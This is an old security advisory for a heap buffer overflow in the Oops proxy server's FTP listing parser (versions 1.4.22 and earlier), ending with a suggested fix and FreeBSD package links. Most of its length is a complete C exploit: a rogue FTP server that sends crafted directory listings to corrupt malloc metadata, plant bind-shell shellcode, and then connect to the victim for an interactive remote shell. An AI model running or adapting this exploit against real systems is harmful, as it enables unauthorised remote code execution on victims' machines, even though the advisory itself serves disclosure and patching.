|
Vulnerability oops Affected Oops proxy server 1.4.22 1.4.6 and maybe prior Description Following is based on a Packet Knights Advisory 001. Function list_parser in ftp_utils.c (line is the line sent by the ftp server in result of a list command): tempbuf = xmalloc(strlen(line)*3 + strlen(myhostname) + dovesok , [...]); p is the line without the filename htmlized_something = html_escaping(p); and this is the vulnerable sprintf sprintf(tempbuf, "<img src=\"http://%s:%s/%s/%s\" alt=\"%s\">%s ", icons_host[0]?icons_host:myhostname, icons_port[0]?icons_port:"80", icons_path[0]?icons_path:"icons", icons[type], alts[type], htmlized_something); well.. as you can see tempbuf allocs strlen(line)*3. This probably tougth that the htmlizing of the line can give just a string 3 times bigger than the line. But if you look at html_escaping code you can see that he translates " into " . So by putting a large amount of " in the line we can overflow tempbuf. As demostrated by the traceroute and slocate exploits, it's possibile to overwrite a function pointer modifing a malloc chunk. And in this case, after the tempbuf buffer, there is the chunk of htmlized_something. So the exploit have to overwrite it, set the the size to 0xffffffff to make it a free chunk, put the address of the shellcode into fd and the address of the target function pointer into bd (-8), and when the free() will call the unlink it will put the shellcode address into __free_hook. The problem of the exploit is that we must compute exactly the length of tempbuf and hope that malloc will not give it a bigger length, overwrite perfectly the chunk, know exactly the address of __free_hook and the address of the shellcode. As you can see the bigger problem is the shellcode. We can't simply put a (not too) large amount of nop, cause the unlink will fill the zone near the one pointed by __free_hook with the address of it.. (so.. some illegal instrunctions) and the shellcode have to jump them. If instead you point to a nop the other nops after that will be overwritten by the unlink() and will result in SIGILL. So.. this is very hard to exploit.. anyway it's possible.. We include an example exploit that worked on slackware 7.0. /* Demostrative Exploit Against Oops Proxy Server v 1.4.22 and prior * Coded by |CyRaX| <cyrax@pkcrew.org> * Packet Knights Crew : www.pkcrew.org * Tested on Slackware 7.0 * * Greetz : all the bros of pkc, expecially recidjvo,asynchro & cthulhu * LordFelix & bikappa : for some hints about heap overflow * BlackBerry , Nobody88, sMAV, Mav, Mr^Moon and all the others */ #include <stdio.h> #include <stdlib.h> #include <netinet/in.h> #include <sys/types.h> #define ALIGN 0 #define __FREE_HOOK 0x40175994 #define SHELLCODE 0x80b1223 char c0de[]="\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; int main(int argc,char **argv){ int s,s2,clnsock,i; struct sockaddr_in srv,clt; char buff[500],sndbuff[1500],magic[1000],magic2[50],magic3[5000]; unsigned long ip; int h1,h2,h3,h4,p1,p2; u_short port; int passive=0,tmplen,wrtlen; struct malloc_chunk{ unsigned int ps; unsigned int sz; struct malloc_chunk *fd; struct malloc_chunk *bd; }mc; fd_set setz; mc.ps=0xffffffff & ~1; mc.sz=0xffffffff; mc.fd=(struct malloc_chunk *)(SHELLCODE); /* shellcode pointer */ mc.bd=(struct malloc_chunk *)(__FREE_HOOK-8); /* target pointer */ memset(magic2,0x41,0); memcpy(magic2+0,&mc,sizeof(mc)); memset(magic3,'\x90',50); memcpy(magic3+50,c0de,strlen(c0de)); magic3[50+strlen(c0de)]=0; if(argc<4){ printf("Proof exploit against oops proxy server heap buffer overflow!\n"); printf("by |CyRaX| <cyrax@pkcrew.org>\n"); printf("Member Of Packet Knights Crew - http://www.pkcrew.org\n"); printf("Usage ./oopsexp <your_ip> <victim ip> <hostname len>\n"); printf("your ip: it is necessary for the passive mode\n"); printf("hostname len is the len of the host that he *thinks* to have\n"); printf(" for example if the hostname is c500 you must put 4 here\n"); exit(0); } printf("now set the victim as your proxy in any web browser and go to\n"); printf("ftp://<your_ip>\n"); for(i=0;i<strlen(argv[1]);i++)if(argv[1][i]=='.')argv[1][i]=','; s=socket(AF_INET,SOCK_STREAM,0); srv.sin_addr.s_addr=INADDR_ANY; srv.sin_port=htons(21); srv.sin_family=AF_INET; if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){ printf("cannot bind to port 21 !\n"); exit(0); } listen(s,1); clnsock=accept(s,(struct sockaddr *)&clt,sizeof(clt)); close(s); strcpy(buff,"220 exploit is here :)\r\n"); send(clnsock,buff,strlen(buff),0); recv(clnsock,buff,500,0); strcpy(buff,"331 any pass is good d00d\r\n"); send(clnsock,buff,strlen(buff),0); recv(clnsock,buff,500,0); strcpy(buff,"230 oky d00d.. login done!\r\n"); send(clnsock,buff,strlen(buff),0); while(1){ memset(buff,0,500); if(recv(clnsock,buff,500,0)<0)break; if(strstr(buff,"SYST")){ strcpy(sndbuff,"215 UNIX Type: L8\r\n"); send(clnsock,sndbuff,strlen(sndbuff),0); } if(strstr(buff,"PASV")){ srv.sin_port=htons(1322); if(passive==0){ s=socket(AF_INET,SOCK_STREAM,0); if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){ printf("cannot bind to port 1322 for passive mode!\n"); exit(0); } listen(s,4); passive=1; } else { close(s2); } sprintf(sndbuff,"227 Entering Passive Mode (%s,5,42)\r\n",argv[1]); send(clnsock,sndbuff,strlen(sndbuff),0); } if(strstr(buff,"TYPE")){ strcpy(sndbuff,"200 vabbuo' vabbuo'\r\n"); send(clnsock,sndbuff,strlen(sndbuff),0); } if(strstr(buff,"NLST")){ if(passive){ s2=accept(s,NULL,NULL); strcpy(sndbuff,"150 Opening ASCII mode data connection for file list.\r\n"); send(clnsock,sndbuff,strlen(sndbuff),0); sprintf(sndbuff,"%s\r\n",magic3); send(s2,sndbuff,strlen(sndbuff),0); close(s2); strcpy(sndbuff,"226 Transfer complete.!\r\n"); send(clnsock,sndbuff,strlen(sndbuff),0); } } if(strstr(buff,"LIST")){ strcpy(sndbuff,"150 vieni pure amore!\r\n"); s2=accept(s,NULL,NULL); /* HOW MANY BYTES TO WRITE COMPUTING */ tmplen=0; tmplen=strlen("Arwxrwxrwx rooOOOt \r\n ")*3+strlen(magic2)*3+ strlen(magic3)*3; tmplen=tmplen+128; /* dovesok */ tmplen=tmplen+atoi(argv[3]); tmplen+=10; wrtlen=strlen("<img src=\"http://:80/icons/unknown.gif\">" "alt=\"[Unkn] \" ")+atoi(argv[3]); wrtlen=wrtlen+strlen("Arwxrwxrwx rooOOOt \r\n")+strlen(magic2); i=0; while((wrtlen-tmplen)<16){ magic[i]='"'; tmplen+=3; /* 1 *3 */ wrtlen+=6; /* " */ i++; } magic[i]=0; printf("ora tmplen %i | wrtlen %i\n",tmplen,wrtlen); memset(sndbuff,0,1500); snprintf(sndbuff,6000,"Arwxrwxrwx rooOOOt %s %s 2000 %s\r\n", magic, magic2, magic3); send(s2,sndbuff,3000,0); strcpy(sndbuff,"226 Ho finito\r\n"); send(clnsock,sndbuff,strlen(sndbuff),0); shutdown(s2,2); printf("closed!\n"); sleep(5); s2=socket(AF_INET,SOCK_STREAM,0); clt.sin_addr.s_addr=inet_addr(argv[2]); clt.sin_port=htons(3879); clt.sin_family=AF_INET; if(connect(s2,(struct sockaddr *)&clt,sizeof(clt))!=0){ printf("SORRY.. it didn't work!\n"); exit(0); } strcpy(sndbuff,"uname -a;id\n"); send(s2,sndbuff,strlen(sndbuff),0); while(1){ FD_ZERO(&setz); FD_SET(0,&setz); FD_SET(s2,&setz); select(s2+1,&setz,NULL,NULL,NULL); if(FD_ISSET(0,&setz)){ memset(sndbuff,0,sizeof(sndbuff)); fgets(sndbuff,sizeof(sndbuff),stdin); send(s2,sndbuff,strlen(sndbuff),0); } if(FD_ISSET(s2,&setz)){ memset(sndbuff,0,sizeof(sndbuff)); recv(s2,sndbuff,sizeof(sndbuff),0); printf("%s",sndbuff); } } } if(strstr(buff,"CWD")){ strcpy(sndbuff,"250 SUUU.. FATTI SOTTO !\r\n"); send(clnsock,sndbuff,strlen(sndbuff),0); } if(strstr(buff,"PWD")){ strcpy(sndbuff,"257 \"/\" ti stai cagando sotto eh ?!\r\n"); send(clnsock,sndbuff,strlen(sndbuff),0); } if(strstr(buff,"QUIT")){ close(clnsock); } } close(clnsock); close(s); close(s2); } Solution Well.. a quick fix could be just changing the alloc line into: tempbuf=xmalloc(strlen(line)*6+strlen(myhostname)+dovesok, [..]; but you can save more memory allocating tempbuf after the html_escaping. Anyway.. the authors were contacted and they're fixing it in a better way. For FreeBSD: ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/www/oops-1.5.2.tgz ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/www/oops-1.5.2.tgz ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/www/oops-1.5.2.tgz ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/www/oops-1.5.2.tgz ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/www/oops-1.5.2.tgz